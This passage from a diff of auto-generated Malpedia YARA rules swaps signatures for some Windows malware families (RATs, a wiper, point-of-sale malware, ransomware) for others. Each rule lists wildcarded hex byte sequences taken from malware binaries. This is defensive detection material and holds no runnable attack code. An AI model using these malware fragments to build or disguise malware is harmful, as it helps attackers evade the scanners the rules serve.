4885c0 7428 80383c 7423 } - $sequence_38 = { 55 89e5 81ec54040000 53 } - $sequence_39 = { 4f 8d1c10 41 8b4b18 45 8b6320 4d } - $sequence_40 = { eb08 4863433c 8b7c1828 488bcb e8???????? 4863d7 498bcc } - $sequence_41 = { 4c 01c7 8b048f 4c } - $sequence_42 = { 8b6320 4d 01c4 ffc9 49 8d3c8c } - $sequence_43 = { 8b957cffffff 895164 6814318b23 8b45e4 50 } - $sequence_44 = { 895118 8b4584 8b4db8 89481c 8b5584 8b45b4 } - $sequence_45 = { 688dbdc13f 8b45e4 50 e8???????? 8945d8 8b4da0 } - $sequence_46 = { 56 57 007508 bbb84340c1 4a } - $sequence_47 = { 50 8b4dfc 51 e8???????? 85c0 7589 8b55fc } - $sequence_48 = { c1e002 03471c 8b0428 01e8 5e c3 } - $sequence_49 = { 56 89c2 8b453c 8b7c2878 } - $sequence_50 = { aa e2f3 7506 7404 } - $sequence_51 = { 894ddc c745e000000000 8b55e4 3b55dc 0f8327010000 c745e801000000 } - $sequence_52 = { 5b c9 c20800 55 89e5 83ec04 } - $sequence_53 = { 8945cc 8b4da0 8b55cc 895144 68d770a437 } - $sequence_54 = { 58 29c6 d1ee 037724 0fb7442efe c1e002 03471c } - $sequence_55 = { c1c108 3208 40 803800 75f5 31d1 } - $sequence_56 = { 6bc963 8b4508 33d2 f7f1 } - $sequence_57 = { 8946fc ad 85c0 75f3 c3 56 } - $sequence_58 = { 8b45e4 50 e8???????? 89459c 8b4da0 8b559c 895158 } - $sequence_59 = { 8b7c2878 01ef 8b7720 01ee 56 ad 01e8 } - $sequence_60 = { 5d 5d 2e3f 3438 } - $sequence_61 = { 9d d418 a1???????? 0da20e09d8 } - $sequence_62 = { b0b6 49 92 06 4e 55 } - $sequence_63 = { 00556c 9d d418 a9d61049d4 5c d6 2851d6 } - $sequence_64 = { 5d 5d 5d 5d 285b29 59 } + $sequence_0 = { 56 ff15???????? 56 ff15???????? 8b8c2418010000 } + $sequence_1 = { 891481 ff4608 e9???????? 83fa12 750a c744242c07000000 eb07 } + $sequence_2 = { 5d 83c408 c3 8b442434 8b4c242c 56 } + $sequence_3 = { dec1 dee9 def9 dc0d???????? } + $sequence_4 = { 50 03cb 51 e8???????? 8b542428 0fb74206 47 } + $sequence_5 = { f3a4 ff15???????? 5f 5e 5d 33c0 } + $sequence_6 = { 8b4764 50 e8???????? 33c0 83c404 8bcf 894764 } + $sequence_7 = { 03c8 40 8a0c29 884c03ff 8b4e04 } + $sequence_8 = { 8be8 83c404 83fdfd 7515 } + $sequence_9 = { 8dbc24a4010000 f3ab 8d8c2408020000 51 } + $sequence_10 = { 83c204 89542420 3bce 741f 8b948c8c000000 8b9c242c010000 } + $sequence_11 = { 6a00 6a00 8b82a8000000 50 68???????? 6a00 } + $sequence_12 = { 50 e8???????? 8b5644 68a2aedeac 68ce9a32f7 68c9600000 52 } + $sequence_13 = { 7336 8d642400 837c241c00 0f84cc020000 0fb613 ff4c241c } + $sequence_14 = { 8bd1 83e201 d1e9 895618 83f903 0f8761060000 } condition: - 7 of them and filesize < 245760 + 7 of them and filesize < 275456 } -rule MALPEDIA_Win_Lightneuron_Auto : FILE +rule MALPEDIA_Win_Newposthings_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "effcdfe2-a4bd-534e-86eb-84be08a02b5f" + id = "c55cf5a4-9d2e-5a13-be84-37c432415503" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightneuron" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightneuron_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newposthings_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "6ad51552136a32b2e5f3fef922b412240ca64bebb497b163d34faf6af2a9c320" + logic_hash = "13f1fe8829e7836205b87c0389095410b0edec07cc2b8983a118dc935e06f45f" score = 75 quality = 75 tags = "FILE" @@ -120674,32 +120691,32 @@ rule MALPEDIA_Win_Lightneuron_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b0d???????? 4885d2 480f45ca ff15???????? 488b4b08 8d5001 e8???????? } - $sequence_1 = { 448830 e8???????? 85c0 744e 488bcb e8???????? 41ffc4 } - $sequence_2 = { 488bd3 4c0f45c8 488b05???????? 488bcf 4885c0 4c0f45c0 e8???????? } - $sequence_3 = { c744244801000000 85ff 0f8598080000 488b8c24d8000000 4883f901 7304 33c0 } - $sequence_4 = { 2bd8 78ef 4863db 488bd5 4803de 488bcb } - $sequence_5 = { e8???????? 488bc7 41be01000000 458d4603 33d2 488bcf 4c89742470 } - $sequence_6 = { 4883ec38 488b4c2440 ff15???????? 89442420 837c2420ff 7507 } - $sequence_7 = { 4885ed 7437 4885c0 7432 488d7501 483bf0 7729 } - $sequence_8 = { 0fb6c8 410fb6c1 339c8dc0e90300 339c8580d50300 418bc1 41c1e910 41335d04 } - $sequence_9 = { 4c89742428 4489742420 e8???????? 418bee 488b05???????? 488b15???????? } + $sequence_0 = { 83ec0c 8b4508 8b483c 01c1 813950450000 7551 8d5178 } + $sequence_1 = { 68ae520110 64a100000000 50 81ec28010000 a1???????? 33c5 } + $sequence_2 = { 8d85f0fcffff 50 6801010000 6a00 c785ecfcffff00000000 } + $sequence_3 = { ff750c e8???????? 83c404 c745200f000000 c7451c00000000 c6450c00 b801000000 } + $sequence_4 = { 8bce e8???????? c745fcffffffff ff36 e8???????? 83c404 8b4df4 } + $sequence_5 = { 833cf5c000021000 7513 56 e8???????? } + $sequence_6 = { 57 a1???????? 33c4 50 8d442420 64a300000000 68f0110210 } + $sequence_7 = { c68518ffffff00 c645fc10 837d9010 720e ffb57cffffff } + $sequence_8 = { 0fb6bc3890b70110 8bc7 c1e804 89bdc4fdffff 8bbde8fdffff 8985c4fdffff } + $sequence_9 = { 83c40c 8d842474040000 6890010000 50 6a00 ff15???????? } condition: - 7 of them and filesize < 573440 + 7 of them and filesize < 827392 } -rule MALPEDIA_Win_Darkvision_Rat_Auto : FILE +rule MALPEDIA_Win_Boxcaon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1a6f6701-70b7-5c48-928b-485642438bd0" + id = "a730ae2b-b623-5088-86a7-4d1a4eb89ea5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvision_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkvision_rat_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boxcaon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.boxcaon_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "ea735f4eeed059962dba8005baff4c34c6d0e6dbba61d43d1f0324dec9b20b8d" + logic_hash = "5b71da83cc61472fd3b6239fea0178674ab4b3cf9a9678dbeeda07cdd88e683a" score = 75 quality = 75 tags = "FILE" @@ -120713,32 +120730,32 @@ rule MALPEDIA_Win_Darkvision_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb0a 8b44243c ffc0 8944243c 837c243c64 } - $sequence_1 = { 85c0 7523 488d15da6b0300 488b8c2460030000 ff15???????? 488b8c2460030000 ff15???????? } - $sequence_2 = { ff15???????? 488b8c2468030000 ff15???????? 41b838000000 33d2 488d8c2428030000 e8???????? } - $sequence_3 = { 488d0d9efe0100 48837c010800 7432 4863442424 4869c0040b0000 488d0d83fe0100 66ba6600 } - $sequence_4 = { 741d 488b4c2438 ff15???????? 488b4c2430 ff15???????? 33c0 } - $sequence_5 = { 4c8d0505910100 baff7f0000 488b4c2440 ff15???????? 4c8d0deaf40200 4c8d05ff900100 baff7f0000 } - $sequence_6 = { baffffffff 488b4c0110 ff15???????? 4863442424 486bc028 488d0d71550200 48837c010800 } - $sequence_7 = { ff15???????? 4885c0 0f847a010000 488bc8 ff15???????? 488d15e0620000 488bce } - $sequence_8 = { 488b4c2430 4803c8 488bc1 4889442470 c744247c00000000 eb0a } - $sequence_9 = { ba7c040000 b940000000 ff15???????? 4889442428 48837c242800 0f8477020000 4c8b442428 } + $sequence_0 = { 897e14 897e70 c686c800000043 c6864b01000043 c7466890b54000 6a0d e8???????? } + $sequence_1 = { 8bd3 66899424e0000000 5a 6a50 66899424e2000000 8bd1 66899424e4000000 } + $sequence_2 = { 8888b8b84000 40 ebe6 ff35???????? } + $sequence_3 = { 8bec 33c0 8b4d08 3b0cc5408a4000 740a } + $sequence_4 = { c78424980000003c000000 ff15???????? 56 33ff } + $sequence_5 = { e8???????? 84c0 741a 8d4c2410 8d8424d8020000 2bc1 } + $sequence_6 = { 89bc24ac000000 89b424b4000000 c78424980000003c000000 ff15???????? } + $sequence_7 = { 33c9 66890c06 68???????? 8d442414 50 e8???????? } + $sequence_8 = { 0020 1f 40 00441f40 0023 d18a0688078a 46 } + $sequence_9 = { 33c0 c7461407000000 668906 8b4508 8b5810 57 } condition: - 7 of them and filesize < 618496 + 7 of them and filesize < 256000 } -rule MALPEDIA_Win_Slowstepper_Auto : FILE +rule MALPEDIA_Win_Oski_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "83f15ae7-3874-55c6-9009-11d19ac08b8c" + id = "5c71af2a-ab1c-54b1-b031-9d62fe7b8e58" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slowstepper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slowstepper_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oski" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oski_auto.yar#L1-L184" license_url = "N/A" - logic_hash = "dd0e842f62bc92cdd486a9615b960e4b584259d9116f2837f2c07d72a5000be5" + logic_hash = "6e592abd5f7946bd0b6a43d8ee0af2b699a6055e4a91c9728a4df01ede6824ac" score = 75 quality = 75 tags = "FILE" @@ -120752,32 +120769,39 @@ rule MALPEDIA_Win_Slowstepper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a04 43 53 50 8945d4 8975e0 8975dc } - $sequence_1 = { e8???????? b001 e8???????? c3 68a4020000 b8???????? e8???????? } - $sequence_2 = { 83661000 83c414 8d45b8 c746140f000000 50 8bce c60600 } - $sequence_3 = { c645fc4c e8???????? 57 c645fc4b 56 8d8dcceeffff e8???????? } - $sequence_4 = { 85c0 746b 395c241c 765e 53 ff742420 8d8c2474050000 } - $sequence_5 = { 59 85c0 7507 c605????????01 68???????? 8d9564ebffff 8bce } - $sequence_6 = { 57 8d4db8 e9???????? 6a48 b8???????? e8???????? 8b4508 } - $sequence_7 = { 8b8d70faffff 8d85ecfaffff 50 8d85ecfeffff 50 e8???????? 59 } - $sequence_8 = { ff6008 55 8bec 8b4904 8b01 5d ff600c } - $sequence_9 = { 6bc00c 8d8405b8feffff 8d8da8feffff 3bc1 7422 8b08 8b95a8feffff } + $sequence_0 = { 50 a1???????? 50 8d8df0feffff 51 e8???????? } + $sequence_1 = { 25ff7f0000 c3 8bff 55 8bec 83ec14 ff7510 } + $sequence_2 = { 83c40c e8???????? 50 a1???????? 50 } + $sequence_3 = { 8975f0 e8???????? cc 8bff 55 8bec 8b550c } + $sequence_4 = { 393d???????? 0f94c0 33d2 0bc8 } + $sequence_5 = { 57 e8???????? 8b4618 83c40c 6a00 6a00 } + $sequence_6 = { 56 8d85ecfeffff 50 8d8dd0fcffff 51 eb18 f685a4fcffff10 } + $sequence_7 = { 8b4508 8945b0 8b450c 33db 8bc8 } + $sequence_8 = { f3c3 e9???????? 8bff 55 8bec 83ec1c a1???????? } + $sequence_9 = { ebe9 6a02 e8???????? 59 c3 e8???????? } + $sequence_10 = { 8b5508 52 a1???????? 50 8d8de8fdffff } + $sequence_11 = { 51 e8???????? 83c40c 8985e4fdffff 83bde4fdffff00 } + $sequence_12 = { e8???????? 83c404 8b0d???????? 51 ff15???????? a3???????? } + $sequence_13 = { 8b511c 83c220 52 6a00 } + $sequence_14 = { 52 6a00 68???????? ff15???????? 8945f0 837df000 } + $sequence_15 = { 83c404 8b55f8 8955f4 8b45f4 50 e8???????? 83c404 } + $sequence_16 = { 51 6800020000 8b55f4 52 ff15???????? 8945f0 } condition: - 7 of them and filesize < 909312 + 7 of them and filesize < 423936 } -rule MALPEDIA_Win_Bruh_Wiper_Auto : FILE +rule MALPEDIA_Win_Stinger_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7c9ba4ef-4fa1-51f0-9221-ba77db229e60" + id = "3d5345cc-6891-5cd1-840e-a83631b5fe99" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bruh_wiper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bruh_wiper_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stinger_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "cbaff4d5b7b91bf6e756e6a62487e97a100f6bd9c2c8d699efaa34252266d183" + logic_hash = "89238eb5fdfe99680f7f49528afc66652f68e02cb4c9414363e841a63c1fb66a" score = 75 quality = 75 tags = "FILE" @@ -120791,32 +120815,32 @@ rule MALPEDIA_Win_Bruh_Wiper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a03 6800000040 68???????? ff15???????? 8b1d???????? 8bf8 6a00 } - $sequence_1 = { e8???????? 83c40c be01080000 0f1f8000000000 6a00 8d85f8fdffff } - $sequence_2 = { ffd3 83ee01 75e3 8b4dfc 5f 5e } - $sequence_3 = { ffd7 8d45f0 50 6a06 6a00 6a00 6a00 } - $sequence_4 = { 66a1???????? 668945f4 a0???????? 56 8845f6 8d45f4 57 } - $sequence_5 = { 57 ffd3 83ee01 75e3 8b4dfc 5f } - $sequence_6 = { 50 6a00 6a01 6a13 ffd7 8d45f0 } - $sequence_7 = { 57 ffd3 6800020000 8d85fcfdffff 6a00 50 e8???????? } - $sequence_8 = { 83ec10 a1???????? 33c5 8945fc 66a1???????? 668945f4 } - $sequence_9 = { 57 ffd3 83ee01 75e3 } + $sequence_0 = { 83c404 8b5dfc 53 83c324 53 8b1b } + $sequence_1 = { 85db 7409 53 e8???????? 83c404 ff75f0 ff75f4 } + $sequence_2 = { 83f90a 1bd2 83d100 c1e008 8d4cd137 0bc1 } + $sequence_3 = { 8b5dfc 83c320 895df8 8b5df8 } + $sequence_4 = { 83f800 0f84e6030000 ff75fc 8b5d08 ff33 b902000000 e8???????? } + $sequence_5 = { ff35???????? ff35???????? b903000000 e8???????? 83c40c 8945c4 6805000080 } + $sequence_6 = { 51 53 890b 50 3bc8 0f8f56030000 } + $sequence_7 = { 8b5dfc 83c314 895df8 8965f4 6800000000 ff15???????? 90 } + $sequence_8 = { 8a143a 8a0c30 32ca 5a 880c10 } + $sequence_9 = { 8b5df8 8b7df4 85db 8b75fc 7436 0fb606 8bc8 } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 197096 } -rule MALPEDIA_Win_Xsplus_Auto : FILE +rule MALPEDIA_Win_Romcom_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5e1cc002-aafa-57a5-ac8f-12fca4d9f30a" + id = "52944eb3-a8b3-598a-bd5c-c9c0b8dd95ba" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xsplus_auto.yar#L1-L182" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.romcom_rat_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "dcc5687f917495ecca687c74006688a8948f135325a7531bf3c5206fe8cc2299" + logic_hash = "94e8976d75fd26e2288ab3e032c369598bcb0480813fc775078fe15324b5e802" score = 75 quality = 75 tags = "FILE" @@ -120830,39 +120854,32 @@ rule MALPEDIA_Win_Xsplus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b761c 8b4608 8b7e20 8b36 66394f18 75f2 } - $sequence_1 = { 8bec 83ec18 8b4518 8945f0 8b4d14 } - $sequence_2 = { 8b55ec 8b01 3b4210 0f83af000000 6a01 8d4df8 51 } - $sequence_3 = { 8b5520 8955f8 8b451c 8945e8 8b4d10 83e102 85c9 } - $sequence_4 = { 83c201 8955f8 8b4514 8945f4 } - $sequence_5 = { aa a0???????? 8885c8fbffff b940000000 33c0 8dbdc9fbffff } - $sequence_6 = { 85c0 7524 a1???????? a3???????? a1???????? c705????????04264000 8935???????? } - $sequence_7 = { 8b8db4fdffff 81e9cd860100 898db4fdffff 83bdb4fdffff03 } - $sequence_8 = { 898da8feffff 8b95a8feffff 52 8b85ccfeffff 50 8d4de0 } - $sequence_9 = { 6804010000 8d85fcfeffff 50 6a00 ff15???????? 6804010000 8d8df0fcffff } - $sequence_10 = { 8985b8fdffff 81bdb8fdffff10010000 7723 81bdb8fdffff10010000 } - $sequence_11 = { 8b5508 89510c 8b45ec 8b4d0c 894808 8b55ec c7421000000000 } - $sequence_12 = { c74668e0a34000 6a0d e8???????? 59 8365fc00 ff7668 ff15???????? } - $sequence_13 = { 8d85d0fcffff 50 8d8dc8fbffff 51 e8???????? } - $sequence_14 = { 0355fc 0fb602 33c1 8b4d0c 034dfc 8801 } - $sequence_15 = { 8a8c181d010000 888808a74000 40 ebe6 } - $sequence_16 = { 50 ff15???????? b801000000 e9???????? 8d95c4fdffff } + $sequence_0 = { 33d2 448d4240 488d8d60100000 e8???????? 488d0d9a6e0100 e8???????? 4c8bc0 } + $sequence_1 = { 488945a0 488d0592d20400 4885db 7424 83630800 488903 } + $sequence_2 = { c7442434323b3831 c74424383738363a c744243c02005b00 c74424407e006900 c744244461005d00 c74424485e005200 c744244c52005400 } + $sequence_3 = { f30f7f458f 482bf3 4889742420 4c8d458f 488d55a7 498bce e8???????? } + $sequence_4 = { 488d8a50000000 e9???????? 4055 4883ec20 488bea 8b8598000000 83e002 } + $sequence_5 = { eb24 488d152e6b0600 488d4b02 483bce 7714 41803c1f30 750d } + $sequence_6 = { c7442460474e595a c7442464080a5d0d c74424685b5a4659 c744246c10475f51 c7442470141e5e19 c74424744b4b5f4f c744247848262600 } + $sequence_7 = { 498bd6 498bcd ff5038 498b4740 488b4808 48894d97 488b01 } + $sequence_8 = { ebd7 488d053e4d0300 ba80000000 0f1000 410f1106 0f104810 410f114e10 } + $sequence_9 = { 894c2420 ff15???????? eb0c 48630d???????? e8???????? } condition: - 7 of them and filesize < 597872 + 7 of them and filesize < 1211392 } -rule MALPEDIA_Win_Kuaibu8_Auto : FILE +rule MALPEDIA_Win_Torrentlocker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "755c9fef-12d3-5450-97c1-5338be93504a" + id = "7392e065-18c2-5313-a3d1-b30d3efcbeb2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kuaibu8_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.torrentlocker_auto.yar#L1-L169" license_url = "N/A" - logic_hash = "fc318523e53f24e8818ee766d5be4e6f49732099f739761d424c7624b095d7ec" + logic_hash = "9e477f7e8b8247df899448f8dfaacbe7088b9d7adf1371f318f6d0bbdd12c5e7" score = 75 quality = 75 tags = "FILE" @@ -120876,32 +120893,38 @@ rule MALPEDIA_Win_Kuaibu8_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff35???????? b902000000 e8???????? 83c408 8945e0 8b45e0 50 } - $sequence_1 = { 83c404 c1e002 03d8 895db4 8b5de8 e8???????? b804000000 } - $sequence_2 = { 6a10 52 56 6689442416 e8???????? } - $sequence_3 = { 7409 53 e8???????? 83c404 8b5de8 e8???????? } - $sequence_4 = { 895dbc e8???????? 894db8 8b7dbc c70701000000 83c704 8bc1 } - $sequence_5 = { 83c404 58 8945f4 8965ec 8d45f0 50 8b45f4 } - $sequence_6 = { 83f800 0f851e000000 b8???????? 50 8b5d10 8b1b } - $sequence_7 = { b8???????? 8945d8 8d45d8 50 6800000000 ff35???????? 8d45e0 } - $sequence_8 = { 837d1400 0f8507000000 c7451401000000 837d1000 0f85aa020000 6802000080 6a00 } - $sequence_9 = { 53 55 56 8b742430 85f6 57 750a } + $sequence_0 = { c3 83f801 7405 83f802 } + $sequence_1 = { 6a01 68???????? ff15???????? 85c0 7510 6a78 50 } + $sequence_2 = { 6a02 e8???????? 83c430 85c0 } + $sequence_3 = { 41 81f9f1ff0000 7206 81e9f1ff0000 } + $sequence_4 = { 6a03 e8???????? 83c410 83f8ff 7404 a810 } + $sequence_5 = { 6685d2 75f1 8bcf 8bf7 668b11 83c102 } + $sequence_6 = { 7526 68400000f0 50 6a00 6a00 } + $sequence_7 = { 51 52 50 ff15???????? 85c0 7519 } + $sequence_8 = { 7415 81f9340000c0 7407 85c9 750e 33c0 } + $sequence_9 = { 85c0 740a c705????????ffffffff 8b15???????? 6a00 6a01 } + $sequence_10 = { 56 6a00 52 ff15???????? 5e 8bc7 } + $sequence_11 = { 751f ff15???????? 3d16000980 753d 68080000f0 } + $sequence_12 = { 6a18 6a00 6a00 68???????? ffd6 83f801 7526 } + $sequence_13 = { 750b 68???????? ff15???????? 8bc3 } + $sequence_14 = { 51 ff15???????? c705????????00000000 eb39 8b15???????? 6a0c } + $sequence_15 = { 8bc6 5e 5f c3 be04000000 } condition: - 7 of them and filesize < 737280 + 7 of them and filesize < 933888 } -rule MALPEDIA_Win_Mayberobot_Auto : FILE +rule MALPEDIA_Win_Logpos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c92428ca-450d-55ec-a6b0-19554a59efc9" + id = "738ffd15-c890-5ce3-8158-aad7627bd488" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mayberobot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mayberobot_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.logpos_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "7a87fd7bc03b1a4ed615fd0a81f85d5bd0e66326980b2da4e2257c81318fa9fe" + logic_hash = "b0bb7c96824becdbd2b84481288798e82499176f0ad872177caf0cac7c2bcced" score = 75 quality = 75 tags = "FILE" @@ -120915,32 +120938,32 @@ rule MALPEDIA_Win_Mayberobot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4883ec28 803d????????00 754c 488d0da8270100 } - $sequence_1 = { 45390a 7449 496312 4803d5 0fb60a 83e10f 4a0fbe843110440100 } - $sequence_2 = { 4885c0 7509 488d05233a0100 eb04 } - $sequence_3 = { 90 8bdf 8b05???????? 48895c2420 3bf0 7c36 4c8d3da9080100 } - $sequence_4 = { 4c8d058afb0000 488b4318 4839b838010000 750f 498b04d0 42387ce839 0f84d3000000 } - $sequence_5 = { 488d0d8a0b0100 e8???????? 4883c428 c3 } - $sequence_6 = { e8???????? 85c0 7420 4c8b442430 } - $sequence_7 = { 488d151fc50000 b903000000 4c8d050bc50000 e8???????? 488bd3 } - $sequence_8 = { 4183f90f 7779 428b8c8e78f80000 4803ce ffe1 660f73fa01 eb65 } - $sequence_9 = { 488bd1 488bc1 48c1f806 4c8d05b4060100 } + $sequence_0 = { 55 89e5 60 31c0 31c9 fc 8b7508 } + $sequence_1 = { e8???????? 894328 681c429282 ff33 ff736c } + $sequence_2 = { 83fa00 0f852c000000 8d4001 8945f8 8a00 } + $sequence_3 = { 48 83ec38 53 56 57 41 52 } + $sequence_4 = { 8b90d8000000 48 85d2 7410 48 394a08 7505 } + $sequence_5 = { c744241001000000 c744240c00000000 8b442450 89442414 } + $sequence_6 = { 8344242401 48 8344243001 837c243800 7406 48 } + $sequence_7 = { 4c 8d0570040000 49 8b88d8000000 48 } + $sequence_8 = { 83f82f 0f8549000000 8b45fc c680a360400000 8b45fc } + $sequence_9 = { 68ba917bf6 ff33 ff7370 53 e8???????? 89433c } condition: - 7 of them and filesize < 307200 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Mirage_Auto : FILE +rule MALPEDIA_Win_Malumpos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c8a9a712-bc3f-5690-a472-64df6910b6ba" + id = "cd78d99d-ded9-59a9-a898-9ec39f928aa5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mirage_auto.yar#L1-L170" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.malumpos_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "4e4af3295967c47493f17386d2e75f998cb14d5de0104dd5de1d503e94b2b46e" + logic_hash = "29cfae31eaa84f0f9fcc3ec276520376ec4d5f40c7104f5c7188971142f1d819" score = 75 quality = 75 tags = "FILE" @@ -120954,38 +120977,32 @@ rule MALPEDIA_Win_Mirage_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? 6801000080 ff15???????? 85c0 7556 } - $sequence_1 = { 68???????? c745f804010000 ff75fc ff15???????? ff75fc } - $sequence_2 = { 0f84d1000000 57 e8???????? 8d7c0302 c70424???????? } - $sequence_3 = { 55 8bec b82c410000 e8???????? 53 56 } - $sequence_4 = { 8d45f4 50 53 68???????? c745f804010000 } - $sequence_5 = { e8???????? b8???????? 8d8d90feffff 50 8945e8 e8???????? 3bc3 } - $sequence_6 = { 0f86a0000000 bf14410000 8d8568bbffff 57 53 } - $sequence_7 = { 3bf3 0f85a9000000 381f 0f84a1000000 8d85ecfeffff 68???????? 50 } - $sequence_8 = { 6a01 6a06 c645ff01 ff7620 } - $sequence_9 = { 80c261 88543724 46 83fe1f 7ce8 80643e2400 } - $sequence_10 = { e9???????? 83fe04 0f859afdffff 56 8d4508 } - $sequence_11 = { 66218514fbffff b981000000 8dbd16fbffff c745ec01000000 f3ab 66ab 8d45f4 } - $sequence_12 = { e8???????? 83c410 56 8d8514fbffff 6a00 } - $sequence_13 = { ab ab 33c0 8dbda6ebffff 6689b5a4ebffff } - $sequence_14 = { c3 53 e8???????? 59 ff75f0 ff15???????? } - $sequence_15 = { ffd7 85c0 7547 8d8514fbffff 85c0 } + $sequence_0 = { 8b450c 3b38 731e 8bd9 } + $sequence_1 = { 59 56 8bf3 5e 56 } + $sequence_2 = { 8db408f8000000 8b4608 894568 3bc3 0f84d9000000 } + $sequence_3 = { 5a 66a9a02f fc f5 a1???????? 8b4015 6a04 } + $sequence_4 = { 5e 6685db 55 80c400 5d 56 } + $sequence_5 = { 59 7405 0d00000000 80ec00 } + $sequence_6 = { e8???????? 68???????? a3???????? ffd0 810d????????00200000 be???????? } + $sequence_7 = { 50 ff35???????? ff15???????? 817d6003010000 } + $sequence_8 = { 85c0 7446 8b400c 56 8b700c 68???????? 57 } + $sequence_9 = { 8d4520 50 ff15???????? 8d4520 } condition: - 7 of them and filesize < 1695744 + 7 of them and filesize < 542720 } -rule MALPEDIA_Win_Grager_Auto : FILE +rule MALPEDIA_Win_Webc2_Kt3_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a70321f6-0139-51d8-af48-e9ddd6504bcd" + id = "0c279999-73dd-553b-a33f-fb7233640f4d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grager" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grager_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_kt3" + source_url = 